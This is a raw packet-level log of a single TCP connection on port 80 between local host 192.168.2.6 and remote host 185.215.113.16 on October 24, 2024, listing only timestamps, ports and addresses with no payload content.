Oct 24, 2024 11:02:47.691936970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.691951036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.691986084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.691991091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692023993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692024946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692065954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692080975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692116022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692125082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692157030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692173004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692205906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692219019 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692243099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692264080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692297935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692307949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692337036 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692349911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692384005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692395926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692423105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692429066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692435980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692486048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692521095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692532063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692559004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692562103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692598104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692612886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692642927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692653894 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692679882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692683935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692718983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692730904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692751884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692756891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692787886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692799091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692830086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692830086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692866087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692871094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692895889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692904949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692929983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692935944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.692965031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.692969084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693001032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693011999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693036079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693039894 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693072081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693080902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693109035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693110943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693140984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693154097 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693176985 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693176985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693214893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693216085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693250895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693254948 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693284035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693290949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693319082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693325043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693352938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693363905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693387985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693392038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693422079 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693434000 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693455935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693459034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693489075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693500042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693522930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693528891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693553925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693561077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693586111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693593979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693622112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693623066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693655014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693665028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693690062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693696022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693722963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693727970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693758011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693758965 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693792105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693799019 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693830967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693839073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693864107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693871021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693897963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693911076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693928003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693942070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693962097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.693968058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693994999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.693996906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694026947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694039106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694061041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694066048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694096088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694106102 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694134951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694134951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694170952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694179058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694205046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694211960 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694240093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.694247007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.694276094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729499102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729567051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729620934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729656935 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729691029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729688883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729743958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729748964 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729775906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729825020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729829073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729876041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729887962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729922056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.729929924 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729964018 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.729974985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730021954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730034113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730077982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730086088 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730118990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730132103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730154991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730163097 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730189085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730201006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730232954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730233908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730262041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730277061 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730295897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730305910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730331898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730336905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730367899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730400085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730402946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730417967 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730438948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730524063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730681896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730711937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730743885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730745077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730796099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730796099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730815887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730833054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730851889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730870008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.730875969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.730931044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757047892 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757105112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757147074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757183075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757208109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757219076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757253885 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757258892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757272959 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757292986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757299900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757328033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757373095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757477999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757513046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757528067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757549047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757550001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757584095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757587910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757621050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757622004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757656097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757663012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757688999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757694006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757723093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.757730961 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.757761955 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800122976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800206900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800236940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800262928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800266981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800321102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800323009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800368071 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800375938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800432920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800436974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800473928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800484896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800524950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800529003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800565958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800584078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800617933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800621033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800673008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800673008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800724030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800726891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800777912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800781012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800816059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800832033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800852060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800863981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800887108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800899029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800926924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800935984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800961018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.800972939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.800997972 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801008940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801033974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801039934 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801070929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801081896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801119089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801124096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801173925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801178932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801213980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801234007 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801249981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801259995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801285982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801295996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801321983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801332951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801362991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801368952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801399946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801414013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801434994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801446915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801481009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801491022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801548004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801548004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801583052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801594973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801631927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801640034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801692009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801732063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801745892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801784992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801785946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801820040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801831961 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801855087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801867008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801892042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801908016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801938057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801945925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.801994085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.801999092 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802035093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802059889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802083015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802087069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802135944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802141905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802179098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802192926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802225113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802232027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802278996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802288055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802340984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802347898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802378893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802405119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802423954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802429914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802481890 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802484989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802515984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802530050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802560091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802566051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802613974 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802620888 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802653074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802669048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802695990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802707911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802757978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802759886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802809954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802812099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802846909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802864075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802881002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802890062 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802920103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802927971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.802952051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.802963972 CEST	49854	80	192.168.2.6	185.215.113.16
